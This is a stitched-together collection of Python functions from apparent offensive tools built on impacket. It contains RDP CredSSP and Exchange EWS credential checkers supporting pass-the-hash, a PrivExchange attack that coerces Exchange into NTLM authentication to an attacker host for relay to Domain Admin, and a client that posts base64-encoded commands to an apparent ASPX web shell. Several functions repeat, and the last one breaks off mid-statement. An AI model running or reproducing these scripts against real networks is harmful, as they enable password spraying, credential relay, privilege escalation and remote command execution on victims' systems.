def check_rdp(host, username, password, domain, port=3389, hashes=None): if hashes is not None: lmhash, nthash = hashes.split(':') lmhash = a2b_hex(lmhash) nthash = a2b_hex(nthash) else: lmhash = '' nthash = '' tpkt = TPKT() tpdu = TPDU() rdp_neg = RDP_NEG_REQ() rdp_neg['Type'] = 1 rdp_neg['requestedProtocols'] = 2 | 1 tpdu['VariablePart'] = rdp_neg.getData() tpdu['Code'] = 0xe0 tpkt['TPDU'] = tpdu.getData() s = socket.socket() s.connect((host, port)) s.sendall(tpkt.getData()) pkt = s.recv(8192) tpkt.fromString(pkt) tpdu.fromString(tpkt['TPDU']) cr_tpdu = CR_TPDU(tpdu['VariablePart']) if cr_tpdu['Type'] == 3: rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart']) rdp_failure.dump() logger.error( "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials" ) return else: rdp_neg.fromString(tpdu['VariablePart']) ctx = SSL.Context(SSL.TLSv1_2_METHOD) ctx.set_cipher_list(b'RC4,AES') tls = SSL.Connection(ctx, s) tls.set_connect_state() tls.do_handshake() auth = ntlm.getNTLMSSPType1('', '', True, use_ntlmv2=True) ts_request = TSRequest() ts_request['NegoData'] = auth.getData() tls.send(ts_request.getData()) buff = tls.recv(4096) ts_request.fromString(buff) type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2=True) server_cert = tls.get_peer_certificate() pkey = server_cert.get_pubkey() dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey) dump = dump[7:] dump = b'\x30' + asn1encode(dump) cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) signature, cripted_key = cipher.encrypt(dump) ts_request['NegoData'] = type3.getData() ts_request['pubKeyAuth'] = signature.getData() + cripted_key try: tls.send(ts_request.getData()) buff = tls.recv(1024) except Exception as err: if str(err).find("denied") > 0: logger.info("rdp Access Denied") return else: logger.warning(err) return ts_request = TSRequest(buff) signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:]) tsp = TSPasswordCreds() tsp['domainName'] = domain tsp['userName'] = username tsp['password'] = password tsc = TSCredentials() tsc['credType'] = 1 # TSPasswordCreds tsc['credentials'] = tsp.getData() signature, cripted_creds = cipher.encrypt(tsc.getData()) ts_request = TSRequest() ts_request['authInfo'] = signature.getData() + cripted_creds tls.send(ts_request.getData()) tls.close() # logger.success("Access Granted") logger.success("rdp success: {}/{}:{}@{}:{}".format( domain, username, password, host, port)) return { 'ip': host, 'user': username, 'password': password, 'port': port, 'serviceName': 'rdp', 'detail': { 'domain': domain, 'hash': hashes } }
def do_privexchange(host, attacker_url): # Init connection if not args.no_ssl: # HTTPS = default port = 443 if not args.exchange_port else int(args.exchange_port) uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) uv_context.verify_mode = ssl.CERT_NONE session = HTTPSConnection(host, port, timeout=args.timeout, context=uv_context) else: # Otherwise: HTTP port = 80 if not args.exchange_port else int(args.exchange_port) session = HTTPConnection(host, port, timeout=args.timeout) # Use impacket for NTLM ntlm_nego = ntlm.getNTLMSSPType1(args.attacker_host, domain=args.domain) #Negotiate auth negotiate = base64.b64encode(ntlm_nego.getData()) # Headers # Source: https://github.com/thezdi/PoC/blob/master/CVE-2018-8581/Exch_EWS_pushSubscribe.py headers = { "Authorization": 'NTLM {}'.format(negotiate), "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F" } session.request("POST", ews_url, POST_BODY.format(args.exchange_version, attacker_url), headers) res = session.getresponse() res.read() # Copied from ntlmrelayx httpclient.py if res.status != 401: logging.info( 'Status code returned: {}. Authentication does not seem required for URL' .format(res.status)) try: if 'NTLM' not in res.getheader('WWW-Authenticate'): logging.error( 'NTLM Auth not offered by URL, offered protocols: {}'.format( res.getheader('WWW-Authenticate'))) return False except (KeyError, TypeError): logging.error( 'No authentication requested by the server for url {}'.format( ews_url)) return False logging.debug('Got 401, performing NTLM authentication') # Get negotiate data try: ntlm_challenge_b64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) ntlm_challenge = base64.b64decode(ntlm_challenge_b64) except (IndexError, KeyError, AttributeError): logging.error('No NTLM challenge returned from server') return if args.hashes: lm_hash_h, nt_hash_h = args.hashes.split(':') # Convert to binary format lm_hash = binascii.unhexlify(lm_hash_h) nt_hash = binascii.unhexlify(nt_hash_h) args.password = '' else: nt_hash = '' lm_hash = '' ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, args.user, args.password, args.domain, lm_hash, nt_hash) auth = base64.b64encode(ntlm_auth.getData()) headers = { "Authorization": 'NTLM {}'.format(auth), "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F" } session.request("POST", ews_url, POST_BODY.format(args.exchange_version, attacker_url), headers) res = session.getresponse() logging.debug('HTTP status: {}'.format(res.status)) body = res.read() logging.debug('Body returned: {}'.format(body)) if res.status == 200: logging.info( 'Exchange returned HTTP status 200 - authentication was OK') # Parse XML with ElementTree root = ET.fromstring(body) code = None for response in root.iter( '{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseCode' ): code = response.text if not code: logging.error( 'Could not find response code element in body: {}'.format( body)) return if code == 'NoError': logging.info('API call was successful') elif code == 'ErrorMissingEmailAddress': logging.error( 'The user you authenticated with does not have a mailbox associated. Try a different user.' ) else: logging.error('Unknown error {}'.format(code)) for errmsg in root.iter( '{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseMessages' ): logging.error('Server returned: %s', errmsg.text) # Detect Exchange 2010 for versioninfo in root.iter( '{http://schemas.microsoft.com/exchange/services/2006/types}ServerVersionInfo' ): if int(versioninfo.get('MajorVersion')) == 14: logging.info( 'Exchange 2010 detected. This version is not vulnerable to PrivExchange.' ) elif res.status == 401: logging.error( 'Server returned HTTP status 401 - authentication failed') else: if res.status == 500: if 'ErrorInvalidServerVersion' in body: logging.error( 'Server does not accept this Exchange dialect, specify a different Exchange version with --exchange-version' ) return else: logging.error('Server returned HTTP {}: {}'.format( res.status, body))
def checkEWS(host, port, mode, domain, user, data): ews_url = "/EWS/Exchange.asmx" if port == 443: try: uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) session = HTTPSConnection(host, port, context=uv_context) except AttributeError: session = HTTPSConnection(host, port) else: session = HTTPConnection(host, port) # Use impacket for NTLM ntlm_nego = ntlm.getNTLMSSPType1(host, domain) #Negotiate auth negotiate = base64.b64encode(ntlm_nego.getData()) # Headers headers = { "Authorization": 'NTLM %s' % negotiate.decode('utf-8'), "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" } session.request("POST", ews_url, POST_BODY, headers) res = session.getresponse() res.read() if res.status != 401: print( 'Status code returned: %d. Authentication does not seem required for URL' % (res.status)) return False try: if 'NTLM' not in res.getheader('WWW-Authenticate'): print('NTLM Auth not offered by URL, offered protocols: %s' % (res.getheader('WWW-Authenticate'))) return False except (KeyError, TypeError): print('No authentication requested by the server for url %s' % (ews_url)) return False print('[*] Got 401, performing NTLM authentication') # Get negotiate data try: ntlm_challenge_b64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) ntlm_challenge = base64.b64decode(ntlm_challenge_b64) except (IndexError, KeyError, AttributeError): print('No NTLM challenge returned from server') return False if mode == 'plaintext': password1 = data nt_hash = '' elif mode == 'ntlmhash': password1 = '' nt_hash = binascii.unhexlify(data) else: print('[!]Wrong parameter') return False lm_hash = '' ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, user, password1, domain, lm_hash, nt_hash) auth = base64.b64encode(ntlm_auth.getData()) headers = { "Authorization": 'NTLM %s' % auth.decode('utf-8'), "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" } session.request("POST", ews_url, POST_BODY, headers) res = session.getresponse() body = res.read() if res.status == 401: print('[!] Server returned HTTP status 401 - authentication failed') return False else: print('[+] Valid:%s %s' % (user, data)) #print(body) return True
def check_rdp(host, username, password, domain, hashes=None): if hashes is not None: lmhash, nthash = hashes.split(':') lmhash = a2b_hex(lmhash) nthash = a2b_hex(nthash) else: lmhash = '' nthash = '' tpkt = TPKT() tpdu = TPDU() rdp_neg = RDP_NEG_REQ() rdp_neg['Type'] = TYPE_RDP_NEG_REQ rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL tpdu['VariablePart'] = rdp_neg.getData() tpdu['Code'] = TDPU_CONNECTION_REQUEST tpkt['TPDU'] = tpdu.getData() s = socket.socket() s.connect((host, 3389)) #port default s.sendall(tpkt.getData()) pkt = s.recv(8192) tpkt.fromString(pkt) tpdu.fromString(tpkt['TPDU']) cr_tpdu = CR_TPDU(tpdu['VariablePart']) if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE: rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart']) rdp_failure.dump() logging.error( "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials" ) return else: rdp_neg.fromString(tpdu['VariablePart']) ctx = SSL.Context(SSL.TLSv1_2_METHOD) ctx.set_cipher_list(b'RC4,AES') tls = SSL.Connection(ctx, s) tls.set_connect_state() tls.do_handshake() auth = ntlm.getNTLMSSPType1('', '', True, use_ntlmv2=True) ts_request = TSRequest() ts_request['NegoData'] = auth.getData() tls.send(ts_request.getData()) buff = tls.recv(4096) ts_request.fromString(buff) type3, exportedSessionKey = ntlm.getNTLMSSPType3( auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2=True) # Get server public key server_cert = tls.get_peer_certificate() pkey = server_cert.get_pubkey() dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey) # Fix up due to PyOpenSSL lack for exporting public keys dump = dump[7:] dump = b'\x30' + asn1encode(dump) cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) signature, cripted_key = cipher.encrypt(dump) ts_request['NegoData'] = type3.getData() ts_request['pubKeyAuth'] = signature.getData() + cripted_key try: # Sending the Type 3 NTLM blob tls.send(ts_request.getData()) buff = tls.recv(1024) except Exception as err: if str(err).find("denied") > 0: # logging.error("Access Denied") sys.stdout.write('\r[-] [%s:%s:%s] Access Denied ' % (host, username, password)) else: logging.error(err) time.sleep(5) return ts_request = TSRequest(buff) signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:]) tsp = TSPasswordCreds() tsp['domainName'] = domain tsp['userName'] = username tsp['password'] = password tsc = TSCredentials() tsc['credType'] = 1 # TSPasswordCreds tsc['credentials'] = tsp.getData() signature, cripted_creds = cipher.encrypt(tsc.getData()) ts_request = TSRequest() ts_request['authInfo'] = signature.getData() + cripted_creds tls.send(ts_request.getData()) tls.close() sys.stdout.write( f"\r{colored('[+]', 'green')} {colored('Host:','blue')}{host},{colored('Username:'******'blue')}{username},{colored('Password:'******'blue')}{password},{colored('Domain:','blue')}{domain} [{colored('SUCESS', 'green')}] \n" ) return True
def bind(self, uuid, alter = 0, bogus_binds = 0): bind = MSRPCBind() # Standard NDR Representation NDRSyntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') # NDR 64 NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') #item['TransferSyntax']['Version'] = 1 ctx = self._ctx for i in range(bogus_binds): item = CtxItem() item['ContextID'] = ctx item['TransItems'] = 1 item['ContextID'] = ctx # We generate random UUIDs for bogus binds item['AbstractSyntax'] = generate() + stringver_to_bin('2.0') item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) bind.addCtxItem(item) self._ctx += 1 ctx += 1 # The true one :) item = CtxItem() item['AbstractSyntax'] = uuid item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) item['ContextID'] = ctx item['TransItems'] = 1 bind.addCtxItem(item) packet = MSRPCHeader() packet['type'] = MSRPC_BIND if alter: packet['type'] = MSRPC_ALTERCTX if (self.__auth_level != ntlm.NTLM_AUTH_NONE): if (self.__username is None) or (self.__password is None): self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash = self._transport.get_credentials() auth = ntlm.getNTLMSSPType1('', self.__domain, True, isDCE = True) auth['auth_level'] = self.__auth_level auth['auth_ctx_id'] = self._ctx + 79231 pad = (8 - (len(packet.get_packet()) % 8)) % 8 if pad != 0: packet['pduData'] = packet['pduData'] + '\xFF'*pad auth['auth_pad_len']=pad packet['auth_data'] = str(auth) packet['pduData'] = str(bind) packet['call_id'] = self.__callid self._transport.send(packet.get_packet()) s = self._transport.recv() if s != 0: resp = MSRPCHeader(s) else: return 0 #mmm why not None? if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R: bindResp = MSRPCBindAck(str(resp)) elif resp['type'] == MSRPC_BINDNAK: resp = MSRPCBindNak(resp['pduData']) status_code = resp['RejectedReason'] if rpc_status_codes.has_key(status_code): raise Exception(rpc_status_codes[status_code], resp) else: raise Exception('Unknown DCE RPC fault status code: %.8x' % status_code, resp) else: raise Exception('Unknown DCE RPC packet type received: %d' % resp['type']) # check ack results for each context, except for the bogus ones for ctx in range(bogus_binds+1,bindResp['ctx_num']+1): result = bindResp.getCtxItem(ctx)['Result'] if result != 0: msg = "Bind context %d rejected: " % ctx msg += rpc_cont_def_result.get(result, 'Unknown DCE RPC context result code: %.4x' % result) msg += "; " reason = bindResp.getCtxItem(ctx)['Reason'] msg += rpc_provider_reason.get(reason, 'Unknown reason code: %.4x' % reason) if (result, reason) == (2, 1): # provider_rejection, abstract syntax not supported msg += " (this usually means the interface isn't listening on the given endpoint)" raise Exception(msg, resp) self.__max_xmit_size = bindResp['max_tfrag'] if self.__auth_level != ntlm.NTLM_AUTH_NONE: response, randomSessionKey = ntlm.getNTLMSSPType3(auth, bindResp['auth_data'], self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, True) response['auth_ctx_id'] = self._ctx + 79231 response['auth_level'] = self.__auth_level self.__flags = response['flags'] if self.__auth_level in (ntlm.NTLM_AUTH_CONNECT, ntlm.NTLM_AUTH_PKT_INTEGRITY, ntlm.NTLM_AUTH_PKT_PRIVACY): if self.__flags & ntlm.NTLMSSP_NTLM2_KEY: self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey) self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server") self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey) self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server") # Preparing the keys handle states cipher3 = ARC4.new(self.__clientSealingKey) self.__clientSealingHandle = cipher3.encrypt cipher4 = ARC4.new(self.__serverSealingKey) self.__serverSealingHandle = cipher4.encrypt else: # Same key for everything self.__clientSigningKey = randomSessionKey self.__serverSigningKey = randomSessionKey self.__clientSealingKey = randomSessionKey self.__serverSealingKey = randomSessionKey cipher = ARC4.new(self.__clientSigningKey) self.__clientSealingHandle = cipher.encrypt self.__serverSealingHandle = cipher.encrypt self.__sequence = 0 auth3 = MSRPCHeader() auth3['type'] = MSRPC_AUTH3 auth3['auth_data'] = str(response) # Use the same call_id self.__callid = resp['call_id'] auth3['call_id'] = self.__callid self._transport.send(auth3.get_packet(), forceWriteAndx = 1) self.__callid += 1 return resp # means packet is signed, if verifier is wrong it fails
def aspxCmdNTLM(host, port, url, mode, domain, user, data, command): key = "UGFzc3dvcmQxMjM0NTY3ODk" command = command.encode("utf-8") # base64 encode enpayload = base64.b64encode(command).decode('utf8') POST_BODY = "data1={key}&data2={payload}" POST_BODY = POST_BODY.format(key=key, payload=enpayload) if port == 443: try: uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) session = HTTPSConnection(host, port, context=uv_context) except AttributeError: session = HTTPSConnection(host, port) else: session = HTTPConnection(host, port) # Use impacket for NTLM ntlm_nego = ntlm.getNTLMSSPType1(host, domain) # Negotiate auth negotiate = base64.b64encode(ntlm_nego.getData()) # Headers headers = { "Authorization": 'NTLM %s' % negotiate.decode('utf-8'), "Content-type": "application/x-www-form-urlencoded; charset=utf-8", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" } session.request(method="POST", url=url, body=POST_BODY, headers=headers) res = session.getresponse() res.read() if res.status != 401: print( 'Status code returned: %d. Authentication does not seem required for URL' % (res.status)) return False try: if 'NTLM' not in res.getheader('WWW-Authenticate'): print('NTLM Auth not offered by URL, offered protocols: %s' % (res.getheader('WWW-Authenticate'))) return False except (KeyError, TypeError): print('No authentication requested by the server for url %s' % (url)) return False print('[*] Got 401, performing NTLM authentication') # Get negotiate data try: ntlm_challenge_b64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) ntlm_challenge = base64.b64decode(ntlm_challenge_b64) except (IndexError, KeyError, AttributeError): print('No NTLM challenge returned from server') return False if mode == 'plaintext': password1 = data nt_hash = '' elif mode == 'ntlmhash': password1 = '' nt_hash = binascii.unhexlify(data) else: print('[!] Wrong parameter') return False lm_hash = '' ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, user, password1, domain, lm_hash, nt_hash) auth = base64.b64encode(ntlm_auth.getData()) headers = { "Authorization": 'NTLM %s' % auth.decode('utf-8'), "Content-type": "application/x-www-form-urlencoded; charset=utf-8", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" } session.request(method="POST", url=url, body=POST_BODY, headers=headers) res = session.getresponse() body = res.read() session.close() if res.status == 401: print('[!] Server returned HTTP status 401 - authentication failed') return False else: if res.status == 200: print('[+] Valid') print('[+] Result:') # base64 decode print(base64.b64decode(body.decode('utf8')).decode('utf8')) return True
def main(): parser = argparse.ArgumentParser(description='Exchange your privileges for Domain Admin privs by abusing Exchange. Use me with ntlmrelayx') parser.add_argument("host", type=str, metavar='HOSTNAME', help="Hostname/ip of the Exchange server") parser.add_argument("-u", "--user", metavar='USERNAME', help="username for authentication") parser.add_argument("-d", "--domain", metavar='DOMAIN', help="domain the user is in (FQDN or NETBIOS domain name)") parser.add_argument("-p", "--password", metavar='PASSWORD', help="Password for authentication, will prompt if not specified and no NT:NTLM hashes are supplied") parser.add_argument('--hashes', action='store', help='LM:NLTM hashes') parser.add_argument("--no-ssl", action='store_true', help="Don't use HTTPS (connects on port 80)") parser.add_argument("--exchange-port", help="Alternative EWS port (default: 443 or 80)") parser.add_argument("-ah", "--attacker-host", required=True, help="Attacker hostname or IP") parser.add_argument("-ap", "--attacker-port", default=80, help="Port on which the relay attack runs (default: 80)") parser.add_argument("-ev", "--exchange-version", choices=EXCHANGE_VERSIONS, default="2013", help="Exchange dialect version (Default: 2013)") parser.add_argument("--attacker-page", default="/privexchange/", help="Page to request on attacker server (default: /privexchange/)") parser.add_argument("--debug", action='store_true', help='Enable debug output') args = parser.parse_args() ews_url = "/EWS/Exchange.asmx" # Init logging logger = logging.getLogger() logger.setLevel(logging.INFO) stream = logging.StreamHandler(sys.stderr) stream.setLevel(logging.DEBUG) formatter = logging.Formatter('%(levelname)s: %(message)s') stream.setFormatter(formatter) logger.addHandler(stream) # Should we log debug stuff? if args.debug is True: logger.setLevel(logging.DEBUG) if args.password is None and args.hashes is None: args.password = getpass.getpass() # Init connection if not args.no_ssl: # HTTPS = default port = 443 if args.exchange_port: port = int(args.exchange_port) try: uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) session = HTTPSConnection(args.host, port, context=uv_context) except AttributeError: session = HTTPSConnection(args.host, port) else: # Otherwise: HTTP port = 80 if args.exchange_port: port = int(args.exchange_port) session = HTTPConnection(args.host, port) # Construct attacker url if args.attacker_port != 80: attacker_url = 'http://%s:%d%s' % (args.attacker_host, int(args.attacker_port), args.attacker_page) else: attacker_url = 'http://%s%s' % (args.attacker_host, args.attacker_page) logging.info('Using attacker URL: %s', attacker_url) # Use impacket for NTLM ntlm_nego = ntlm.getNTLMSSPType1(args.attacker_host, domain=args.domain) #Negotiate auth negotiate = base64.b64encode(ntlm_nego.getData()) # Headers # Source: https://github.com/thezdi/PoC/blob/master/CVE-2018-8581/Exch_EWS_pushSubscribe.py headers = { "Authorization": 'NTLM %s' % negotiate.decode('utf-8'), "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F" } session.request("POST", ews_url, POST_BODY % (args.exchange_version, attacker_url), headers) res = session.getresponse() res.read() # Copied from ntlmrelayx httpclient.py if res.status != 401: logging.info('Status code returned: %d. Authentication does not seem required for URL', res.status) try: if 'NTLM' not in res.getheader('WWW-Authenticate'): logging.error('NTLM Auth not offered by URL, offered protocols: %s', res.getheader('WWW-Authenticate')) return False except (KeyError, TypeError): logging.error('No authentication requested by the server for url %s', ews_url) return False logging.debug('Got 401, performing NTLM authentication') # Get negotiate data try: ntlm_challenge_b64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) ntlm_challenge = base64.b64decode(ntlm_challenge_b64) except (IndexError, KeyError, AttributeError): logging.error('No NTLM challenge returned from server') return if args.hashes: lm_hash_h, nt_hash_h = args.hashes.split(':') # Convert to binary format lm_hash = binascii.unhexlify(lm_hash_h) nt_hash = binascii.unhexlify(nt_hash_h) args.password = '' else: nt_hash = '' lm_hash = '' ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, args.user, args.password, args.domain, lm_hash, nt_hash) auth = base64.b64encode(ntlm_auth.getData()) headers = { "Authorization": 'NTLM %s' % auth.decode('utf-8'), "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F" } session.request("POST", ews_url, POST_BODY % (args.exchange_version, attacker_url), headers) res = session.getresponse() logging.debug('HTTP status: %d', res.status) body = res.read() logging.debug('Body returned: %s', body) if res.status == 200: logging.info('Exchange returned HTTP status 200 - authentication was OK') # Parse XML with ElementTree root = ET.fromstring(body) code = None for response in root.iter('{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseCode'): code = response.text if not code: logging.error('Could not find response code element in body: %s', body) return if code == 'NoError': logging.info('API call was successful') elif code == 'ErrorMissingEmailAddress': logging.error('The user you authenticated with does not have a mailbox associated. Try a different user.') else: logging.error('Unknown error %s', code) for errmsg in root.iter('{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseMessages'): logging.error('Server returned: %s', errmsg.text) # Detect Exchange 2010 for versioninfo in root.iter('{http://schemas.microsoft.com/exchange/services/2006/types}ServerVersionInfo'): if int(versioninfo.get('MajorVersion')) == 14: logging.info('Exchange 2010 detected. This version is not vulnerable to PrivExchange.') elif res.status == 401: logging.error('Server returned HTTP status 401 - authentication failed') else: if res.status == 500: if 'ErrorInvalidServerVersion' in body: logging.error('Server does not accept this Exchange dialect, specify a different Exchange version with --exchange-version') return else: logging.error('Server returned HTTP %d: %s', res.status, body)
def clientConnect(host, username, password, domain, connect=True): tpkt = TPKT() tpdu = TPDU() rdp_neg = RDP_NEG_REQ() rdp_neg['Type'] = TYPE_RDP_NEG_REQ rdp_neg[ 'requestedProtocols'] = PROTOCOL_HYBRID_EX | PROTOCOL_HYBRID | PROTOCOL_SSL tpdu['VariablePart'] = rdp_neg.getData() tpdu['Code'] = TDPU_CONNECTION_REQUEST tpkt['TPDU'] = tpdu.getData() s = socket.socket() s.connect((host, 3389)) s.sendall(tpkt.getData()) pkt = s.recv(8192) tpkt.fromString(pkt) tpdu.fromString(tpkt['TPDU']) cr_tpdu = CR_TPDU(tpdu['VariablePart']) if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE: rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart']) rdp_failure.dump() logging.error( "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials" ) return else: rdp_neg.fromString(tpdu['VariablePart']) #Here we start the SPNEGO exchange #Step1 : Start the SSL connection ctx = SSL.Context(SSL.TLSv1_2_METHOD) ctx.set_cipher_list('RC4,AES') tls = SSL.Connection(ctx, s) tls.set_connect_state() tls.do_handshake() #Step2: Send the SPNEGO handshake auth = ntlm.getNTLMSSPType1('', '', True, use_ntlmv2=True) ts_request = TSRequest() ts_request['NegoData'] = auth.getData() tls.send(ts_request.getData()) buff = tls.recv(4096) ts_request.fromString(buff) #Step3: We should have an NTLM Challenge. Answer the challenge and sign the server pubkey lmhash = '' nthash = '' type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2=True) # Get server public key server_cert = tls.get_peer_certificate() pkey = server_cert.get_pubkey() dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey) # Fix up due to PyOpenSSL lack for exporting public keys dump = dump[7:] pubKeyStr = b'\x30' + asn1encode(dump) clientNonce = "A" * 32 magic = b"CredSSP Client-To-Server Binding Hash\x00" h2 = hashlib.sha256() h2.update(magic) h2.update(clientNonce) h2.update(pubKeyStr) cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) signature, cripted_key = cipher.clientEncrypt(h2.digest()) ts_request['NegoData'] = type3.getData() ts_request['clientNonce'] = clientNonce ts_request['pubKeyAuth'] = signature.getData() + cripted_key try: # Sending the Type 3 NTLM blob tls.send(ts_request.getData()) buff = tls.recv(1024) except Exception as err: if str(err).find("denied") > 0: logging.error("Access Denied") else: print(err) return #Step4: Server should send its pubkey signature. try: ts_request = TSRequest(buff) #if password is invalid buff can't be decode # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;) signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth']) if username != "" and password != "": print "Found valid credentials: " + username + ":" + password except Exception as err: return 0 #Step5: Send the encrypted credentials to the server if connect == True: tsp = TSPasswordCreds() tsp['domainName'] = domain tsp['userName'] = username tsp['password'] = password tsc = TSCredentials() tsc['credType'] = 1 # TSPasswordCreds tsc['credentials'] = tsp.getData() signature, cripted_creds = cipher.clientEncrypt(tsc.getData()) ts_request = TSRequest() ts_request['authInfo'] = signature.getData() + cripted_creds tls.send(ts_request.getData()) print "Credentials sent" return tls else: return 1
def bind(self, uuid, alter=0, bogus_binds=0): bind = MSRPCBind() # Standard NDR Representation NDRSyntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') # NDR 64 NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') #item['TransferSyntax']['Version'] = 1 ctx = self._ctx for i in range(bogus_binds): item = CtxItem() item['ContextID'] = ctx item['TransItems'] = 1 item['ContextID'] = ctx # We generate random UUIDs for bogus binds item['AbstractSyntax'] = generate() + stringver_to_bin('2.0') item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) bind.addCtxItem(item) self._ctx += 1 ctx += 1 # The true one :) item = CtxItem() item['AbstractSyntax'] = uuid item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) item['ContextID'] = ctx item['TransItems'] = 1 bind.addCtxItem(item) packet = MSRPCHeader() packet['type'] = MSRPC_BIND if alter: packet['type'] = MSRPC_ALTERCTX if (self.__auth_level != ntlm.NTLM_AUTH_NONE): if (self.__username is None) or (self.__password is None): self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash = self._transport.get_credentials( ) auth = ntlm.getNTLMSSPType1('', self.__domain, True, isDCE=True) auth['auth_level'] = self.__auth_level auth['auth_ctx_id'] = self._ctx + 79231 pad = (8 - (len(packet.get_packet()) % 8)) % 8 if pad != 0: packet['pduData'] = packet['pduData'] + '\xFF' * pad auth['auth_pad_len'] = pad packet['auth_data'] = str(auth) packet['pduData'] = str(bind) packet['call_id'] = self.__callid self._transport.send(packet.get_packet()) s = self._transport.recv() if s != 0: resp = MSRPCHeader(s) else: return 0 #mmm why not None? if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R: bindResp = MSRPCBindAck(str(resp)) elif resp['type'] == MSRPC_BINDNAK: resp = MSRPCBindNak(resp['pduData']) status_code = resp['RejectedReason'] if rpc_status_codes.has_key(status_code): raise Exception(rpc_status_codes[status_code], resp) else: raise Exception( 'Unknown DCE RPC fault status code: %.8x' % status_code, resp) else: raise Exception('Unknown DCE RPC packet type received: %d' % resp['type']) # check ack results for each context, except for the bogus ones for ctx in range(bogus_binds + 1, bindResp['ctx_num'] + 1): result = bindResp.getCtxItem(ctx)['Result'] if result != 0: msg = "Bind context %d rejected: " % ctx msg += rpc_cont_def_result.get( result, 'Unknown DCE RPC context result code: %.4x' % result) msg += "; " reason = bindResp.getCtxItem(ctx)['Reason'] msg += rpc_provider_reason.get( reason, 'Unknown reason code: %.4x' % reason) if (result, reason) == ( 2, 1 ): # provider_rejection, abstract syntax not supported msg += " (this usually means the interface isn't listening on the given endpoint)" raise Exception(msg, resp) self.__max_xmit_size = 